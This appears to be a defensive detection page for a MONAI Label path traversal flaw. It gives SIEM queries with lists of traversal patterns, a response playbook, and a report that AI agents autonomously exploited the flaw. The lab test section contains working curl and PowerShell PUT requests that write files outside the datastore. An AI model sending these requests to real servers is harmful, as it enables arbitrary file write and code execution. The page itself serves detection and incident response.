MONAI Label Path Traversal (CVE-2026-133968)
Detects exploitation of CVE-2026-133968, a critical (CVSS 9.8) path traversal vulnerability (CWE-24) in Project MONAI's MONAI Label medical imaging annotation server. The PUT /datastore/image and PUT /datastore/label endpoints build the destination file path from a caller-controlled image ID and label tag without confining it to the datastore directory. An attacker can supply a crafted relative path to write an uploaded file to an arbitrary location the server process can write to, which can lead to remote code execution (for example by overwriting application code such as sitecustomize.py). Authentication is disabled by default (MONAI_LABEL_AUTH_ENABLE=False), so in the default configuration any client that can reach the server can exploit this. The flaw is in the CISA KEV catalog. Amazon Threat Intelligence reported that autonomous AI agents operated by a China-nexus threat actor found and exploited it to gain root on a university server. Detection focuses on directory-traversal sequences in HTTP request paths and query parameters to MONAI Label datastore endpoints and on files written outside the datastore root. Remediate by upgrading to MONAI Label 0.8.6 or later.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Project MONAI
- Product
- MONAI Label
- Versions
- <= 0.8.5
Weakness (CWE)
Timeline
- Disclosed
- November 20, 2026
References & Proof of Concept
- https://github.com/Project-MONAI/MONAILabel/security/advisories/GHSA-qc22-rmgc-vg94
- https://github.com/Project-MONAI/MONAILabel/pull/1915
- https://nvd.nist.gov/vuln/detail/CVE-2026-133968
- https://github.com/Project-MONAI/MONAILabel/releases/tag/0.8.6
- https://www.theregister.com/security/2026/11/20/china-attackers-deployed-ai-agents-that-autonomously-found-and-exploited-a-0-day-to-take-over-a-university-server/5311382
- https://aws.amazon.com/blogs/security/chinese-nexus-actors-cairn-ai-agents-found-a-zero-day-on-their-own/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-133968
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
What is CVE-2026-133968 MONAI Label Path Traversal (CVE-2026-133968)?
MONAI Label Path Traversal (CVE-2026-133968) (CVE-2026-133968) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for MONAI Label Path Traversal (CVE-2026-133968), covering the data sources and telemetry it touches: IIS Logs, Reverse Proxy Logs, Web Server Logs. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence
let traversalPatterns = dynamic(["../", "..\\", "..%2f", "..%2F", "%2e%2e%2f", "%2e%2e/", "..%5c", "%2e%2e%5c", "....//"]);
W3CIISLog
| where csUriStem has_any ("/datastore", "/session")
| extend decodedQuery = url_decode(csUriQuery)
| where csUriStem has_any (traversalPatterns) or csUriQuery has_any (traversalPatterns) or decodedQuery has "../" or decodedQuery has "..\\"
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, decodedQuery, scStatus, sIP, sPort, csUserAgent
| extend AccountCustomEntity = cIP Flags MONAI Label HTTP requests (via IIS/reverse-proxy logs) whose URI path or query string contains encoded or literal directory-traversal sequences against datastore or session endpoints.
Data Sources
Required Tables
False Positives
- Legitimate datastore operations that embed relative-looking folder names without actual traversal
- Vulnerability scanners and authorized penetration testing probing the MONAI Label API
- Automated backup or sync tooling that passes relative paths in API calls
Query fingerprint DF00-1a3a0a06b1 · licence
Sigma logsource & community rules
The detection logic for MONAI Label Path Traversal (CVE-2026-133968) (CVE-2026-133968) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-133968
References (7)
- https://github.com/Project-MONAI/MONAILabel/security/advisories/GHSA-qc22-rmgc-vg94
- https://github.com/Project-MONAI/MONAILabel/pull/1915
- https://github.com/Project-MONAI/MONAILabel/releases/tag/0.8.6
- https://nvd.nist.gov/vuln/detail/CVE-2026-133968
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-133968
- https://www.theregister.com/security/2026/11/20/china-attackers-deployed-ai-agents-that-autonomously-found-and-exploited-a-0-day-to-take-over-a-university-server/5311382
- https://aws.amazon.com/blogs/security/chinese-nexus-actors-cairn-ai-agents-found-a-zero-day-on-their-own/
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 MONAI Label path traversal file write via datastore image endpoint
Expected signal: Web/proxy access log entry for PUT /datastore/image with a '../' sequence in the image query parameter.
- Test 2 MONAI Label path traversal file write via datastore label endpoint
Expected signal: Access log entry for PUT /datastore/label with %2f-encoded traversal in the query string.
- Test 3 MONAI Label traversal probe on Windows host
Expected signal: IIS/reverse-proxy log entry for the PUT request to /datastore/image with %2f-encoded traversal in the query string.
Response Playbook
Triage
- Confirm the targeted host runs MONAI Label and determine the version; versions up to and including 0.8.5 are vulnerable to CVE-2026-133968.
- Extract the full decoded URI and query from the alert and identify where the traversal sequence resolves relative to the datastore root.
- Determine whether the write succeeded (for example HTTP 200 on a PUT) versus was blocked or errored (400/403/500) to distinguish a successful arbitrary file write from a failed probe.
- Review the source IP's full request history to the MONAI Label server for reconnaissance patterns, repeated traversal attempts, and tooling or user-agent signatures consistent with automated exploitation.
Containment
- Block the offending source IP at the perimeter or WAF and restrict MONAI Label API exposure to trusted networks or VPN only.
- Upgrade MONAI Label to version 0.8.6 or later (fix in PR #1915) or take the service offline until patched if it is internet-exposed.
- If arbitrary file write is suspected, isolate the host from the network to prevent webshell deployment or lateral movement.
Evidence Collection
- Preserve web server, reverse-proxy and MONAI Label application logs covering the attack window, including full URIs and request methods.
- Capture the MONAI Label process file-write telemetry and any files created or modified outside the datastore root (candidate webshells or dropped payloads, for example a modified sitecustomize.py).
Escalation Criteria
- ! Escalate to incident response if a traversal request wrote a file outside the datastore root.
- ! Escalate immediately if evidence shows new executable or script files, a modified sitecustomize.py, or follow-on command execution on the MONAI Label host, consistent with the reported AI-agent takeover activity.
Investigation Guide
Forensic Artifacts
- >
Web/proxy access logs showing traversal URIs on PUT requests to datastore endpoints - >
MONAI Label application logs referencing datastore file operations with out-of-root paths - >
New or modified files on the host outside the configured datastore directory (possible written payloads) - >
Process and filesystem audit records (auditd/Sysmon) of the MONAI Label process writing files outside the datastore root
Tuning Guidance
Baseline legitimate datastore folder naming to exclude benign relative fragments, then tighten to alert on decoded sequences that resolve above the datastore root. If MONAI Label sits behind a reverse proxy, ensure logs capture the pre-normalized URI so encoded traversal (%2e%2e%2f) is visible. Whitelist authorized scanner IP ranges to reduce noise.
Hunting Queries
Surfaces source IPs issuing repeated path-traversal attempts against MONAI Label endpoints, indicating automated enumeration.
// df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/datastore","/session") | extend dq=url_decode(csUriQuery) | where dq has "../" or csUriStem has "../" | summarize count(), make_set(csUriStem) by cIP, bin(TimeGenerated, 1h) | where count_ > 5 ``` df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/datastore*" OR uri_path="*/session*") | eval d=urldecode(uri_query) | where like(d,"%../%") OR like(uri_path,"%../%") | stats count values(uri_path) as paths by src_ip | where count>5 Atomic Red Team Tests
Simulates an unauthenticated arbitrary file write by uploading a file through the MONAI Label datastore image endpoint using a traversal sequence in the image ID (lab-only against a test instance).
Command
echo poc > /tmp/monai_payload.txt; curl -s -X PUT 'http://127.0.0.1:8000/datastore/image?image=../../../../../../tmp/monai_trav_poc' -F 'file=@/tmp/monai_payload.txt' Cleanup
rm -f /tmp/monai_payload.txt /tmp/monai_trav_poc* Expected Telemetry
Web/proxy access log entry for PUT /datastore/image with a '../' sequence in the image query parameter.
Expected Detection
KQL/SPL/EQL web-log rules fire on the traversal sequence in the request to the /datastore endpoint.
Writes a file outside the datastore root through the MONAI Label /datastore/label endpoint using an encoded traversal sequence to validate detection on a second endpoint (lab-only).
Command
echo poc > /tmp/monai_label.txt; curl -s -X PUT 'http://127.0.0.1:8000/datastore/label?image=..%2f..%2f..%2f..%2ftmp%2fmonai_label_poc&tag=final' -F 'label=@/tmp/monai_label.txt' Cleanup
rm -f /tmp/monai_label.txt /tmp/monai_label_poc* Expected Telemetry
Access log entry for PUT /datastore/label with %2f-encoded traversal in the query string.
Expected Detection
Traversal-pattern web-log detections match the encoded '../' sequence targeting the /datastore endpoint.
Uses PowerShell to send an encoded traversal PUT request to a Windows-hosted MONAI Label instance (lab-only).
Command
powershell -c "Invoke-WebRequest -Method Put -Uri 'http://127.0.0.1:8000/datastore/image?image=..%2f..%2f..%2f..%2fWindows%2fTemp%2fmonai_poc' -InFile $env:TEMP\monai_payload.txt" Cleanup
powershell -c "Remove-Item $env:TEMP\monai_payload.txt -ErrorAction SilentlyContinue" Expected Telemetry
IIS/reverse-proxy log entry for the PUT request to /datastore/image with %2f-encoded traversal in the query string.
Expected Detection
W3CIISLog KQL rule and encoded-traversal detections fire on the %2e%2e / %2f sequence.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040